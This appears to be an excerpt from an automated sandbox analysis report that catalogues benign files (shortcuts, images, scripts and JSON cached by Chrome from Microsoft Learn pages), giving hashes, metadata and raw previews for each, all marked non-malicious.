Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYTk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYTk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYTk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYTk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........v..z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 12:26:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9906507777270153
Encrypted:	false
SSDEEP:	48:8FdGTi6+HvZidAKZdA1vehDiZUkwqehJy+R:8u7K6jy
MD5:	342BACDF21CEB2388B0461DA7A89B686
SHA1:	3B0F15849A7AEB6236A6ED2E547592FF33058BC4
SHA-256:	6FFE4F6760B4D53F0634DBDEB4A5927CB172478F8E9003C3A3C694DE5DE278FE
SHA-512:	AF6295A795125C8FEC48B5F37AF332DC1AD77F5C48B3E6B9BAD356AF488A6BBD6FA63568346BF3278D173AD03B803709C8B2D73DE09C23F51364C18F11F3A5E1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......P..<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYTk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYTk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYTk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYTk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYVk...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........v..z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 12:26:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9781686655177184
Encrypted:	false
SSDEEP:	48:8odGTi6+HvZidAKZdA1hehBiZUk1W1qehHy+C:8t7K69ny
MD5:	A8DAF0CA392329B2B851753E1642B7DC
SHA1:	ED822C459EBAC6274655EBAA6A0B80B9FB971CB2
SHA-256:	4521B4836EFC7095DBF7DD26AE023C8B8E6D2CD685980A1F7C259E44C010667E
SHA-512:	BCA802F23D359F3B2C6A5645DC044CCC712EB8B1683F1C76315A9C9921C52E666D052C7440AD04727F261990CC889B090AE893B290CC8892F748539E758FF9AD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....gg..<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYTk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYTk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYTk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYTk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYVk...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........v..z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 12:26:42 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9845266031351168
Encrypted:	false
SSDEEP:	48:8xdGTi6+HvZidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbBy+yT+:867KET/TbxWOvTbBy7T
MD5:	8DFABC201D3421C31E377B173633F6CB
SHA1:	9AC0A0C0433CCE26C282CE303827EF1BC37DA223
SHA-256:	EBEC672BADDCC54A1627FD3EF855748292356DF9C9C755AEDC8615CCC3D3D08F
SHA-512:	789C5855F1909DB7F034F91C0233D61417E3CBD26235A07AF788D4B96D336B7C7D912D2425E629E1ECA5F09941E6908F4B56D24A0675C489B782FC9776CE09AA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....hp9..<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYTk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYTk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYTk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYTk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYVk...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........v..z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
